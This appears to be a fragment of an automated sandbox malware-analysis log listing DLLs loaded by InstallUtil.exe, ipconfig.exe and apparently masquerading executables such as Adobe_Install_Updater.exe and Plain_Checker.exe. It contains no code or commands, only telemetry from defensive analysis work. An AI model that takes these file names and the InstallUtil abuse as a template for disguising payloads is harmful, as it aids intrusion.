Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll
